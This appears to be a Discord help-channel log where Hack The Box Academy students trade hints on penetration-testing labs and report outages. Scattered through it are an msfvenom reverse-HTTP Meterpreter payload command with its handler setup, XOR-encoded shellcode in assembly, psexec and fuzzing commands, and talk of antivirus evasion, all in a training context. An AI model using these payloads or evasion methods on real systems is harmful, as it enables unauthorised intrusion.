modules

[solid plume]

Hi I'm doing the Windows Fundamentals - NTFS vs File Sharing Module. I'm connected to the VPN on my virtual machine and have a route to the 10.129.0.0/16 network yet I am unable to ping the target machine on that network. However, I am able to RDP into the machine fine. Does anyone know what the problem could be? I've restarted my machines and vpn connection a couple times with no success.

[normal dagger]

@civic inlet can you please help me on the dacl attacks skills assessment 🫠

[lyric bluff]

Hello

i need help with hacking wordpress skills assessment i tried every way ik to find the wordpress but nothing indicates that there is wordpress on the target

pls be nice am new to pt🥺

https://academy.hackthebox.com/module/17/section/64

[acoustic owl]

Take a look at the source code of the website.

[lyric bluff]

nothing
even waplyzer didnt detect
curl
nmap
etc

[acoustic owl]

Look at the website in your browser and look at the source code

[lyric bluff]

am sorry but i really cant find anything🥲

WHAT

THE FFF
Found it

damm i didnt see that comming nice one

[jade frigate]

Guys, is there some book or even youtube channel to complement the study of the module 'Pivoting, Tunneling, and Port Forwarding' ? I'm okay with the questions and all, but I'm having a little trouble at understanding the full concept of it...

[clever helm]

Hi

[static slate]

Don’t know any channel but check Ligolo out if you haven’t already - literally helped me skip the whole module

[clever helm]

i am trying to solve the PtC module 2nd question i have been try to get the certificate by using printer bug but i dont know why i am not able to do it like i did create relay server with impacket and then used printerbug.py to authenticate but no luck

[robust sun]

hi, im currently stuck on pass attacks credential hunting in network shares

tried different patterns but still to no avail

[civic inlet]

Of course!

Send me a DM

[robust sun]

do you happen to know the direction to go for credential hunting in network shares?

[broken star]

Hey, have a question for the peeps woking on the CPTS. I'm at the File Transfers module. I have been using a VM for everything and this section requires Windows, is everyone using pwnbox or are you actually using a Windows VM?

[civic inlet]

send me a DM and what question you're on!

[silk lagoon]

Doesn’t it ask you to use rdp?

[broken star]

It does, inside pwnbox. I was wondering if I could do it without pwnbox and on my own vm?

[silk lagoon]

You can rdp in your own VM

[brave field]

you can RDP using your own VM

[broken star]

Figured it out thx!

[little terrace]

hi im doing the pivoting and doing it with SSH and proxychains, i used nmap -sT but it doesnt show me any ports are open.
ofc i can use ligolo but is ssh proxychains bugged?

i can still xfreerdp but nmap -sT and msfconsole rdp_scanner just doesnt work

[fair merlin]

The same instructions

[little terrace]

ok turns out sudo needs to be added before proxychains for nmap to work

[deep hemlock]

• 0 What host can this user access via WinRM? (just the computer name)
  Active Directory Enumeration & Attacks
  Page 23
  Privileged Access
  Privileged Access
  how can i get the answer

anyone

?

!help

[vestal thistle]

Bot Messages Empty?
@vestal thistle makes use of message embeds as output for most commands. Please note that having "Link Preview" disabled will not make these embeds show in your client. Enable User Settings → Text & Images → Link Preview → Show website preview info from links pasted into chat. to fix this.

Help :: Generic Help

Hello @deep hemlock~!
Click here to read my online documentation!

Need more help? Join my official support server using this invite: https://discord.gg/cYkHGZ96xf

Here's the list of modules that are available for use in this server:

administration, automoderator, bravefrontier, custreact, forms, help, moderation, permissions, revivedwitch, rss

Use !help (module name) for a list of commands within the specified module.
Use !help (command name) for more details about a command.

Commands Not Working?

Please note that an apparently unresponsive command might be caused by missing, or incorrectly set, module permissions. Refer to the Permissions System documentation page for more info!

In order to understand whether permissions are the root cause of a non-working command, you can enable verbose mode for yourself with !verbose. These messages are always sent via DM, and this mode is configured on a personal basis.

Direct Messages Not Working?

In order to avoid having issues with using the Direct Messages-related commands (most importantly, the Forms Submissions), make sure you have "Allow direct messages from server members" active in this server's "Privacy Settings" and/or in your "User Settings". Refer to the image below for more info.

[deep hemlock]

need help

hello anyone

nobody even replying

[waxen totem]

just be patient smh

[deep hemlock]

can you check please

[ocean night]

The information needed to complete that is within the module and sections

It is above a Tier 0 module, so spoilers should not be shared

(look at the pinned channel message)

[opal shuttle]

umm very few times its no

[ocean night]

Staff and moderators are not here beck and call to help with content, sorry

[opal shuttle]

@ocean night i think htb should need to reorder some modules

of cpts path

[ocean night]

Fair, some modules do require you to use your imagination and resourcefulness

The ability to learn, adapt and research.. it's a fundamental skill

and taught, in a fundamental module 😉 https://academy.hackthebox.com/course/preview/learning-process

If we gave all the answers flat out in each section, there would be no challenge at all

[opal shuttle]

that's ok but in some moduels you teach advanced stuff about services but inthe next module we need to study what is that service and how it works....that should be before advacned stuff

[ocean night]

We welcome feedback, do you have an example please? (or you can mention it in #1234357888114364508)

[deep hemlock]

true

[ocean night]

The first few modules in the path do cover many basics I think?

Again, I'm not saying you are wrong

[opal shuttle]

i dont think so

[ocean night]

I would love to hear feedback

[opal shuttle]

i am open to explain extensively with examples...

should i dm you ?

[ocean night]

Could you open a thread in #1234357888114364508 please?

That is the place for Academy feedback for things like this I believe

[opal shuttle]

ok

[ocean night]

I can then follow up afterwards, unless someone beats me to it

Thank you!

[opal shuttle]

no problem

[deep hemlock]

someone help me on that i am still stuck on this

[opal shuttle]

i think its about spraying the creds

[deep hemlock]

yes its not working

[opal shuttle]

umm

i dont remember that one its a long time i have done that

you can dm me

share me link

[ocean night]

[robust sun]

can anyone give me a nudge on pass attacks "Credential hunting in network shares"?

[ocean night]

Appreciate you ignoring me, thanks @deep hemlock

Have a LOVELY DAY

[open wyvern]

someone help me with lab in module Password Attacks/Pass the Certificate lab im really stuck on the administrator flag

[ocean night]

@open wyvern a little manners goes a long way, but keep in mind that module you are asking about is above Tier 0, just like I said for another query a little bit above.. and as it says in the pinned message

So please take any assistance you get to DMs.

[storm elk]

You can dm me @open wyvern (just you)

[robust sun]

no one wants to help me 😭

looks like being rude is key 🤣

[ocean night]

https://tenor.com/view/angry-angrypanda-panda-mad-commercial-gif-1686382995209837276

[storm elk]

sure @robust sun , you can dm me too

tell me everything you got

[safe dock]

Any teams for holmes ctf

[ocean night]

This is for Academy modules

[storm elk]

ask in #1404302368186826762

[ocean night]

👆

[safe dock]

Thanks

[torpid inlet]

Hi, could someone please give me a hint for the Skill Assessment for Insecure Output Handling Module in the AI Red Teaming Pathway? I have been going at it since 2 days and haven’t gotten anywhere

[rustic sage]

I cant find password to do this I need help
https://academy.hackthebox.com/module/143/section/1508

[storm elk]

did you... ssh into the machine like instructed?

(seen a few people miss this part)

[rustic sage]

yes and 1 problem I dont know the credentials for it

i like lost what the creds were, if i can get trhe creds i can do the task

[storm elk]

the credentails are in your question

[rustic sage]

no dude like, i know the creds to SSH

but when it prompts u the pass to do the secretsdump.py it just doesnt work

this is a violation 3 people laughing at me i feel humiliated 💀

[storm elk]

might need to do another step first

[gray yacht]

Do you know which creds you need?

[rustic sage]

kind of yes, but i cant get them because i dont know what lab provided the creds

[gray yacht]

I'd look at the previous section.

[rustic sage]

thats the thing the previous section in the module was without creds

so now i dont even know 😭

[gray yacht]

I'm pretty sure the previous section says something like RDP to...with user...

[digital pendant]

I ran into that same issue. Previous section of the modules credentials were needed, didnt say it in the next section.

[severe eagle]

Hey guys on the thick client applications module and got the fatty-server but says corrupt followed exact instructions anyone else having this issue??

PleSe someone respond spent days dealing with this module on slow internet as well

someone must of done this just need some help b4 time runs out starting again for 100x time

[severe eagle]

Anyone on here done this module please direct message me the instructions for this module are wrong not accurate I have spent hours and hours I always direct message people helping them so please do same im 95% complete so this is very fustrating

[severe eagle]

you completing the Linux priv esc module?

[digital pendant]

Yeah

https://stackoverflow.com/questions/45860784/bin-bash-command-not-found-in-alpine-docker

seems intentional, alpine does not have /bin/bash OOTB. Removing in case it spoils anything.

[severe eagle]

wil dm ya

[teal nexus]

Hi guys... https://academy.hackthebox.com/module/23/section/254 I was doing this module and im stuck on gettign the flag, I have attached the error im getting, the screenshot showing the http sever is working, to show that curl is working and that I used double base64 encoding

[ivory sandal]

hello,

Does anyone have issues starting academy instances ?

it keeps loading

[cosmic radish]

For anyone that has the same problem with inetsim exedcutable on their own vms, it worked on parrot for some reason

[mystic solstice]

https://academy.hackthebox.com/achievement/2126239/34

[hearty forge]

Got the issue for the labs on Footprinting module.

[ivory sandal]

type shit

[gaunt oyster]

Does anyone know how to change tje port bloodhound runs from? Default is 8080.

I m using a kali vm and i just run bloodhound and it spins up

But want to change the port it starts from

[median gale]

Trouble spawning any target at any section / module . Any help ? Tried switching vpn servers with no luck

[bronze lodge]

same here

[ivory sandal]

good to know

[plain summit]

Is HTB Academy Down?

[bronze lodge]

10 min ago I guess

[dusk sage]

https://i.pinimg.com/originals/e6/63/d0/e663d00434b85c39d8ce308d4438aa08.gif

[median gale]

DAMN

Do they know about it though ?

[bronze lodge]

ping them!!

[warm tartan]

Hi, quick question is there any courses or modules on reverse? I know there is intro ASM and Malware Analysis are they complete?

[median gale]

That tells us nothing

[median gale]

No...

[digital pendant]

Yup. 15 minutes or so now

spinning wheel of death

ive changed VPN, didnt change

[ivory sandal]

also, why my name is jordan mc verify

[digital pendant]

have you verified Jordan? #welcome would be first place to check you've done everything

[ivory sandal]

I recognize that i totally skip rules and welcome channel

[digital pendant]

My labs just deployed now... issue stopped for me

[bronze lodge]

yep confirmed

[autumn garnet]

has anyone completed "Introduction to Windows Evasion Techniques" im stuck at the Dynamic Analysis, none of the bypasses work for me

[ivory sandal]

thanks good to know

my username also changed

[digital pendant]

Your display name will be your htb identity now

[ivory sandal]

niiice

[red fossil]

Hello! I'm steezboy, I joined this server to connect with people because I easily get bored at home since I'm finally done with my exam. Hoping to make some friends here amd looking forward to have a nice time. Nice to meet you'll 🤝

[raw adder]

hi

[red fossil]

How are you doing

[raw adder]

nice

..

[tranquil wren]

Hello, i am currently on the credential hunting in linux module in https://academy.hackthebox.com/module/147/section/1320. I downloaded lazagne, and installed it on my attack box using pip, and then transfered it the remote target successfully, however, when I try to run python3 lazagne.py all, i am getting a SytnaxError: Non-UTF-8 code starting with '\x9a' in file laZagne on line 2, but no coding declared'. Should I installing this a different way on the target machine or am i missing something?

[gray yacht]

@red fossil @raw adder welcome to the server, if you haven't already check out #welcome and the #rules and for general chit chat move things over to #general as this channel is for assistance with HTB Academy modules and not a general channel for chatting.

[red fossil]

Good

[gray yacht]

I could be mistaken, but you might have to use python2.7 at least that is what is shown in the section, however I haven't looked at the python version recently. Actually, I just looked at my notes, and I used python3 so when you transferred lazagne.py to the target, did you move the entire directory or just the script?

[grand timber]

https://academy.hackthebox.com/module/77/section/852

I have no clue why its just sitting here not loading

[tranquil wren]

i just moved the script after i used the pip --onefile command

[gray yacht]

Try moving the entire directory over and then run it.

[tranquil wren]

what is the wget command for that? i tried -r and it started transferring everything from my attack box it looked like

[gray yacht]

Research

[tranquil wren]

that worked, thanks

[plain summit]

Linux Privilege Escalation Kernel Exploits

I get this error when trying to run the exploit on the ssh machine:

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

[rose lagoon]

Hello I'm stuck in the LinuxPRIVESC module I have to enum and finds some files can somone give a hint pls ?

[fathom pendant]

compile on the target

[plain summit]

Yeah I did that and it worked lol

[gaunt kite]

anyone facing issue in accessing module labs?

[grand timber]

https://academy.hackthebox.com/module/77/section/853

Any clue why its not working

[gaunt kite]

you dont need . at the end of 8080

[grand timber]

Okpz

Thanks

[grand timber]

???

[broken moss]

for the HTTP attacks, I'm looking at request smuggling section. I can't seem to get Burp's HTTP Request Smuggler extension to identify any of those vulnerabilities, even the first lab which is a CL.TE. Does anyone use that extension or have better ways of finding smuggling quickly?

[lyric bluff]

Skills Assessment - WordPress

i need help with this please

for Q3:+ 3 Submit the contents of the flag file in the directory with directory listing enabled.
am not sure how to do it i been manually moving throught the dir for the past hour and i dont think thats the right way

https://academy.hackthebox.com/module/17/section/64

[crude parrot]

Hey, I'm working through the SQL injection fundamentals module, and have run into an issue where the exercises won't respond to my inputs. The page just loads indefinitely. Is it a bug, or am I doing something wrong?

It's occurred across several exercises, and I've tried copying generic queries from the lesson and still had the same problem.

It will also respond to legitimate inputs, and throw syntax errors. The issue only comes up when I actually try to inject a query.

[brave field]

Use the correct IP in your command.

[haughty fiber]

AD enumeration and attacks SA part II Q4. I'm unable to find the user and password and looked at writeups, is there a method to find the password or is it just guesswork.

[crude parrot]

I tried it on pwnbox instead of my pc and it worked. 🤷‍♂️

problem solved i guess

[wraith palm]

Hi

[haughty fiber]

Can any1 help

[fathom pendant]

i hope by writeups you're referring to the annual sub writeup and not anything else. Because those other writeups break ToS

[plain summit]

Linux Privilege Escalation Python Library Hijacking

After putting in the two scripts into the python file using vim, I get this error when trying to run the file itself:

Traceback (most recent call last):
  File "/home/htb-student/mem_status.py", line 2, in <module>
    import psutil 
  File "/usr/local/lib/python3.8/dist-packages/psutil/__init__.py", line 25
    from __future__ import division
    ^
SyntaxError: from __future__ imports must occur at the beginning of the file

[fathom pendant]

doesn't make it ok.

[haughty fiber]

The academy module writeups break the rules?!

[fathom pendant]

No. Only the ones on third party websites

[haughty fiber]

oh

[haughty fiber]

anyways, any hints for this

[fathom pendant]

https://help.hackthebox.com/en/articles/5188925-streaming-writeups-walkthrough-guidelines

[fathom pendant]

To clarify btw I mean the writeup you'd have access to via an annual sub

[fathom pendant]

Weak passwords are great

"Use a common method to obtain weak credentials" this q right? @haughty fiber

[weak vapor]

hey there is this question I've been stuck with for so long and it's getting boring

How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)

I'm almost done with the Linux Fundamentals module and yet I can't solve this one, not even with the help of ChatGPT

[fathom pendant]

break the question down into what it's asking

• listening
• IPv4 only
• Not localhost

most tools (like netstat) have an option to only select IPv4

[weak vapor]

yep that's what I've been trying

wait I'm supposed to find IPV4 only??

[fathom pendant]

localhost: any ip in the range of 127.0.0.1 -> 127.255.255.255

[weak vapor]

but the question specifically says all interfaces

[fathom pendant]

all interfaces (Not on localhost AND IPv4 ONLY

• NOT localhost
• ONLY IPv4

it's in the brackets

[weak vapor]

that was unclear 🤦‍♂️

[fathom pendant]

reading the whole question can be helpful, but i can understand how it can come across

imo the order of operations should be flipped (IPv4 only and Not on localhost)

[weak vapor]

well the answer is till wrong 🙁

[fathom pendant]

are you ssh into the target system?

[weak vapor]

yeah it should be

[weak vapor]

definitely

[fathom pendant]

so you see htb-student@...$ ?

(i.e. you did ssh htb-student@ip)

[weak vapor]

yep, htb-student@nixfund:~$

so I am in the target system

[fathom pendant]

sometimes you may need to use grep to filter out even more info

[weak vapor]

and I am not counting the header (first line of output)

[fathom pendant]

pro tip: remove the pipe to wc -l at the end

[weak vapor]

why remove it?

[fathom pendant]

so you can see what you're receiving before it's going out to count

it allows you to check what you could be missing

grep -v can be useful as well

[weak vapor]

well I see what I'm receiving, but the problem is I don't understand it all 🙃

[fathom pendant]

(-v is reverse grep, meaning it selects everything that isn't the pattern you provided)

dm me

[ionic hedge]

Oh, I was just doing this section last week. And yeah, it's a bit of a problem those questions assume some of the networking knowledge

[fathom pendant]

it's also a case of breaking down the question

which isn't an easy skill tbqh

[fathom pendant]

the question is asking for a few qualifiers as i listed here

[ionic hedge]

I found the answer only after counting them manually, lol. I thought the proper flag for "listening" was enough to get the listening services... But apparently not, that last netstat column "state" got me

[haughty fiber]

yeah thats the one

[fathom pendant]

keywords in the question: Common method, Weak Credentials

it is somewhat of a guessing game (at least with weak passwords) but the module gives you an idea of what one may look like iirc

[haughty fiber]

ight

[bleak knoll]

sorry for a stupid question, but why doesn't my module eat this answer

[swift dove]

see how its mention in the module sometime "-" makes it wrong

[bleak knoll]

still

[swift dove]

What module is this ?

[acoustic owl]

||omit the word „cable“||

[bleak knoll]

still

[swift dove]

BTW, anyone doing the module AI DATA ATTACKS, I highly suggest to use Google Collab notebooks, with GPU runtime (you'll save a ton of time) and it's free 🙂

[potent plank]

i am currently studying in the cbbh plan and specifically in the file inclusion module (Log poisoning section), i was trying out the server log poisoning method but when i inject the web shell and try to call it i don't get any output at all. Could someone help me figuring it out?

Thanks in advance

[fathom pendant]

it's expecting the word to be hyphenated

it's in the reading

[silk lagoon]

What’s the question

[potent plank]

Use any of the techniques covered in this section to gain RCE, then submit the output of the following command: pwd

the session poisoning method worked, but i wanted to try log poisoning but i can't get it through (i have solved the question but i cant use the log poisoning way)

[fathom pendant]

make sure you utilize the proper quote type to not break the log

[tranquil wren]

Hello, i am currently on the credential hunting in linux module in https://academy.hackthebox.com/module/147/section/1320. I found the passwd.bak and shadow.bak files for theuser account for will. I have http.server running on the target and am able to see the files, it lets me download the passwd.bak file but not the shadow. i have tried the browser path and then tried wget from my attack box. It gives an error for that file on both. Anyone have a minute to help?

[potent plank]

yeah i have noticed that the logs broke everytime lol (ill give it a try)

[tranquil sluice]

In the "intro to white box pentesting" -> command execution task.
Should I not be able to run a curl command on the target machine? it works on my own local machine yet when using the same payload it freezes the target

[wild sage]

Is there some who I can dm about trying to get Suricata to generate fast.log on the Skills Assessment. Module: Working with IPS/IDS, Section Skills Assessment: Suricata. I have the answer already, but I'm trying to generate the log to help understand how it all works

[potent plank]

it worked i had to change the "cmd" to 'cmd', big thanks

[abstract talon]

Question about the intro to assembly language skills assessment (test 2). Is it normally that the given code doesn't even print the flag? (I created a flg.txt file to test if the code works before trying it on the target, but it never prints the flag.)

Is that normal and we are supposed to not only make the file smaller, but also change it so that it works in the first place?

[jade frigate]

guys, can somebody explain to me if I'm doing something wrong or is the third target machine that is actually down?

[jade frigate]

proxifier needed some better configuration, now it works just fine.

[cloud urchin]

I can immediately see you don't have Proxifier setup correctly because there's no entry in there

[jade frigate]

Yeah, I was adding the 127.0.0.1 1080 but everytime I cliked "OK" the proxifier immediately erased the config.

So I had to manually input a rule to mstsc.exe to use the config I did before, then it worked

[spark jetty]

Hi community, I am mew in this world, I have questions, someone can explain me how make the question #2 and #3 of system information of Linux fundamental, sorry for my English, I'm just learning

[rustic sage]

1. Break it down to smaller problems

[rustic sage]

I can help in DMs when i finish my final module for CPTS

[wild verge]

Are you properly logged into the host machine or just using the pwnbox instance? That was my first mistake even though it is clear and says "Click here to spawn the target system"

[limber surge]

Hello with regards to Pivoting / Tunelling module of CPTS . i am not able to get the Meterpreter session established. just wonder if there is any error in my multi/handler.

use exploit/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run

For the msfvenom payload when i created, this is what i use.
msfvenom -p windows/x64/meterpreter/reverse_http lhost=172.X.X.X -f exe -o backupscript.exe LPORT=8080

[hollow kernel]

Did You send the exe to the target?

You need to run the multi handler and then run the exe un target

[limber surge]

ohya. i was thinking of that at first. thanks haha

[hollow kernel]

If You create the exe in port 8080 You need to set lport in 8080 not 8000

[lapis plinth]

do i need a high level GPU?

[spark jetty]

In the instance of HTB online

[spark jetty]

I appreciate it

[broken moss]

http attacks TE.CL is getting me good

Definitely not a clear explanation on the section either. Required other writeups of TE.CL attacks to figure out why this writeup was doing what it was. But apparently still not enough to understand it enough to get the flag

[viral slate]

Module: whitebox attacks
Section: skills assessment

Hello everyone!
Got stuck on this task.
Can I have some help?

[obtuse wasp]

Sorry mate, I'm into the HTB JCA certificate so I can't help u

[river grove]

Hey, you can dm me 🙂

[digital pendant]

anyone around for a nudge pls on LogRotate, linux priv esc module. Confusion is real

[teal nexus]

Guys what about this ?

[full seal]

hello

[jolly lion]

M

[rustic sage]

làm sao để chat được với các đoạn chat khác vậy

[autumn pilot]

english only please

[rustic sage]

sorry

how to text in general chat

[autumn pilot]

read #rules and then #welcome

[swift dove]

If you do it on your computer, i think the module says it could take a little bit to train some of the models depending on your computer. But it was done on a MacBook Air M1 and apparently it took around 15 mins. I ran it on Google Collab with a GPU runtime (again, fully free), and the trainings took 5 - 10 seconds 🤷‍♂️

[tough wing]

In the section "Constrained Delegation from Linux," I encountered the following issue in the final step:
And this is my /etc/hosts：
10.129.205.35 inlanefreight.local inlanefreight
10.129.205.35 DC01.inlanefreight.local DC01
Can someone please help me?

psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
Impacket v0.13.0.dev0+20250828.31428.57693365 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /Users/lengjing/Library/Python/3.9/lib/python/site-packages/impacket-0.13.0.dev0+20250828.31428.57693365-py3.9.egg/impacket
[+] StringBinding ncacn_np:DC01[\pipe\svcctl]
Traceback (most recent call last):
File "/Users/lengjing/Library/Python/3.9/lib/python/site-packages/impacket-0.13.0.dev0+20250828.31428.57693365-py3.9.egg/impacket/nmb.py", line 905, in _setup_connection
sock.connect(sa)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/Users/lengjing/Library/Python/3.9/lib/python/site-packages/impacket-0.13.0.dev0+20250828.31428.57693365-py3.9.egg/EGG-INFO/scripts/psexec.py", line 125, in doStuff
File "/Users/lengjing/Library/Python/3.9/lib/python/site-packages/impacket-0.13.0.dev0+20250828.31428.57693365-py3.9.egg/impacket/dcerpc/v5/rpcrt.py", line 1359, in connect
return self._transport.connect()
...
File "/Users/lengjing/Library/Python/3.9/lib/python/site-packages/impacket-0.13.0.dev0+20250828.31428.57693365-py3.9.egg/impacket/nmb.py", line 908, in _setup_connection
raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e)
OSError: [Errno Connection error (DC01:445)] timed out
[-] [Errno Connection error (DC01:445)] timed out

Can someone please help me?

[storm elk]

@tough wing please try to switch DC01 and DC01.inlanefreight.local in order in /etc/hosts

[tough wing]

Thank you, but it was not successful.

[storm elk]

what if you combine the two lines into one? Just saw you had two lines for the same IP

[last bronze]

Into to Binary Exploitation
Skill Assessment
Task 1 :
Disassemble 'loaded_shellcode' and modify its assembly code to decode the shellcode, by adding a loop to 'xor' each 8-bytes on the stack with the key in 'rbx'.

I am using this code not getting the shell code

global _start

section .text
_start:
mov rax,0xa284ee5c7cde4bd7
push rax
mov rax,0x935add110510849a
push rax
mov rax,0x10b29a9dab697500
push rax
mov rax,0x200ce3eb0d96459a
push rax
mov rax,0xe64c30e305108462
push rax
mov rax,0x69cd355c7c3e0c51
push rax
mov rax,0x65659a2584a185d6
push rax
mov rax,0x69ff00506c6c5000
push rax
mov rax,0x3127e434aa505681
push rax
mov rax,0x6af2a5571e69ff48
push rax
mov rax,0x6d179aaff20709e6
push rax
mov rax,0x9ae3f152315bf1c9
push rax
mov rax,0x373ab4bb0900179a
push rax
mov rax,0x69751244059aa2a3
push rax
mov rbx,0x2144d2144d2144d2

mov rdx, rsp          
add rcx, 14         
sub rsp,8
call decode_loop

decode_loop:
xor [rdx], rbx
add rdx, 8
loop decode_loop

[tough wing]

I tried it, but it still failed.

[last bronze]

If Anyone can add something to this

[leaden island]

yo guys im on web fuzzing using ffuf

im trying to fuzz a GET parameter

im using this command ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key

ive set an ip for academy.htb in /etc/hosts (made sure its same as the live target)

[last bronze]

add admin.academy.htb also

[leaden island]

but im not getting any 200 OK response

[leaden island]

youre the goat

[last bronze]

First add it and try

[flint palm]

I personally advice you to take language and programming skills in other places cause in hackthebox they are not explained as well as on other platforms imao

[tranquil sluice]

can I get a sanity check for the skill assessment in the "intro to whitebox pentest"? I'm using one of the course attacks, it works in the debug machine but not on prod

[zinc relic]

Ive begun the penetration testing path but am wondering wether there are any modules I should complete before this (i finished learning one )

[spring root]

working on Active Directory LDAP module on the second to last section. I have a problem with finding user account that requires a smart card for interactive logon? Can someone help me out

[limber fog]

Hey !
In Linux privesc, I just finished the "Escaping restricted shells" section, yet I don't understand how what I did worked. Anyone available to mp & answer this question plz ?

[gray yacht]

I'd look for an OID you can use.

[spring root]

can you give me a hint?

[gray yacht]

UAC attributes

[clever helm]

Hello,
I got ask a doubt why is the pawn box slow I am currently doing password attacks last assessment I got into DMZ01 and further enumerated find the password and try to use proxy chain for further enumeration of other given hosts but when I checked it’s all filtered

Is it my issue or the lab supposed to be like this

Do we need to evade firewalls ??

[gray yacht]

It sounds like your pivot might not be configured correctly. When troubleshooting a pivot, I recommend checking your connection using a common port on a host that is likely to be open. Since you know the IP of the Domain Controller, I would test on that host. I assume you are either using previous pivoting knowledge or what is provided in the cheatsheet?

[spring root]

can i get a hit for the last question "What is the userAccountControl bitmask for NORMAL_ACCOUNT and ENCRYPTED_TEXT_PWD_ALLOWED? (decimal value) "

[gray yacht]

Same hint, just do a little math with it.

[clever helm]

I think my pivot work fine cuz i checked port listening , then tried to use nmap to scan it but 1 host is up and scan finished in 3.11 second that’s it nothing else

[gray yacht]

You can DM your input/output from you nmap scan.

[clever helm]

Thank you so much

[grave mulch]

sup

[fossil knoll]

Hello, I'm stuck at Active Directory Enumeration & Attacks [module] Access Control List (ACL) Abuse Primer [section]. The second question Which ACE entry can be leveraged to perform a targeted Kerberoasting attack? is driving me crazy i've tried all possible answers that make sense and no result. Can someone maybe help me with answer format?

[gray yacht]

It's legit in the reading. Maybe run a keyword search for the attack.

[fossil knoll]

Yeah i was focusing on a specific ace turns out they wanted the generic one a little bit frustrating don’t you think

[broken star]

Kinda random not exactly module related but not sure where to ask but... Has any else had issues with burp in vmware fusion?

[blissful plume]

In the footprinting module, SMTP question 2, is there any prob with the footprinting resource? specifically the wordlist?

I tried using msf, nmap, smtp-user-enum'

[fathom pendant]

isn't there a given wordlist in the resources button?

[blissful plume]

but still....

[digital pendant]

There was last time.

[blissful plume]

i downloaded tht

not working 101 entries and no results

[fathom pendant]

smtp-user-enum also may require you to mess with the timing

[blissful plume]

Oh heck!

I didn't read the hint carefully

srryy, lemme try again

[fathom pendant]

i don't recall if the help context menu is messed up or not but i believe it's -w or -W for the timing

[blissful plume]

once again a big sorry, msf worked!!

so sorry :' (

[blissful plume]

i'll try smtp-user-enum too

[tranquil wren]

Hello, i am on the attacking ftp module (https://academy.hackthebox.com/module/116/section/1165) and i have successfully used medusa to gain credentials and log into the ftp server, and exported the flag in that user name. the module won't accept the flag or the user for the ftp server, would there be multiple correct users and flags for this module or a rabbit hole? i still have medusa running but it hasn't found anything else yet and has been running for an hour. Anyone have any idas

[fathom pendant]

HTB{A..3} should be the flag (not spoiling)

[tranquil wren]

ah okay, it HTB{S...9} so it must be for something different

[limber fog]

Hey, in Linux privesc, is the module for "Privileged groups" buggy ? It talks about NXC & Docker, idk if that's the intended content ?

[gray yacht]

I don't recall it being buggy, but it's been a while since I worked through that module. It covers more than LXC and Docker, so I would attempt all areas covered in the section to determine which one makes the most sense.

[west arrow]

Anyone else on M1 mac (Armm64), How do you use gcc to compile exploits for target x86_64 linux architectures ?

[limber fog]

Yeah but why does the module "Privileged groups" talks about setting up LXC ?
But otherwise alright, i guess i'll see

[gray yacht]

Because it is a privileged group 🤷‍♂️ and the section is giving you more options regarding privileged groups?

[gaunt forge]

anyone one else get through Introduction to Windows Evasion Techniques static analysis? the log detects that my payload isnt triggering defener but its still not giving me the flag. [09/09/2025 09:41:38] Checking...
[09/09/2025 09:41:39] C:\Alpha\Static\real.exe - OK - Undetected by Microsoft Defender Antivirus
[09/09/2025 09:42:39] Checking...
[09/09/2025 09:42:39] C:\Alpha\Static\real.exe - OK - Undetected by Microsoft Defender Antivirus
[09/09/2025 09:43:38] Checking...
[09/09/2025 09:43:39] C:\Alpha\Static\real.exe - OK - Undetected by Microsoft Defender Antivirus
[09/09/2025 09:44:39] Checking...
[09/09/2025 09:44:39] C:\Alpha\Static\real.exe - OK - Undetected by Microsoft Defender Antivirus

[cloud urchin]

Make sure you follow ALL of the instructions in the section

[limber fog]

Alr thx

[gaunt forge]

i did? group policy disables running it but its aes encrypted shellcode, what do you think I could be missing?

[rain mirage]

the module: password attack , Attacking Active Directory and NTDS.dit

question: On an engagement you have gone on several social media sites and found the Inlanefreight employee names: John Marston IT Director, Carol Johnson Financial Controller and Jennifer Stapleton Logistics Manager. You decide to use these names to conduct your password attacks against the target domain controller. Submit John Marston's credentials as the answer. (Format: username:password, Case-Sensitive)

idk y i cant find the user even if i turn the case sensitive mode on while mutating the wordlist . any hints ?

[gaunt forge]

looks like the whole activity is just bugged https://forum.hackthebox.com/t/introduction-to-windows-evasion-techniques/322348/11

[cloud urchin]

Every time I see this come up it's because someone didn't follow the instructions. Generally it's not a release build, not C#, or not being a .NET Console app.. just make sure you follow all of the things they say

It works fine

[gray yacht]

So you have created a username list and then perform a password attack using a password wordlist and aren't getting anywhere?

[rain mirage]

Ya just to be clear here is what I did , converted the given names to common format with the help of the tool , then ran kerbrute with the list and made it case sensitive , any mistakes ?

[gray yacht]

You can DM as it will be easier for me.

[digital pendant]

Can anyone help diagnose lab issues? it is my own parrot box, stopping me from working on a module. I could use pwnbox but prefer it that I don't have to switch between the two for the exam when I get round to it

Context... I can't gcc compile any exploits from my box.

[cedar blaze]

hi, I am having problems with the jenkins on https://academy.hackthebox.com/module/113/section/1212, nothing loads in my browser, tried multiple and multiple systems. can anyone else check if they can access that?

[strong acorn]

Hey I am kinda stuck on this question in "SOC Analyst: Security Monitoring & SIEM Fundamentals/SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe)" I think I followed the instructions as intended and nothing seems to yield the answer to that question

[full patio]

I'm having issues too, it seems like there's a broader issue atm.

[quiet sandal]

Sub-domain Fuzzing

[full patio]

Is anyone else unable to access the Support Bubble in the bottom-right corner?

I've got ad-block switched off

[swift dove]

Hey guys, let me know if this is not the right place, but I think it's related to modules enough. I'm close to finish the AI Red Teamer Job path. I've loved the prompt Injection and llm output attack modules, insane, 10/10 material right there. I'm looking to go deeper and wanted to know if you had ressources to share to keep training in a practical way just like we do in the assessments from the modules. Thank you for the help, I'm already checking on my side but struggle to find playgrounds to apply what I've learned so far 🙂 THANK YOU!

[digital pendant]

Seems pwnbox doesn't have glib 2.34 needed to compile the exploits either . So not just my lab but seems maybe parrot in general? whats the fix here? I have done a few package installs from stackoverflow but nout working

[fathom pendant]

Compile it on the target

[digital pendant]

ordinarily I would but gcc is not installed it says

[fathom pendant]

I believe theres also the --static flag

[digital pendant]

just went to check if I can compile on target;

This is on the skills assessment but some of the lab machines also were the same

oh right not sure what static flag you're referring to, ill have a look at the man page I guess?

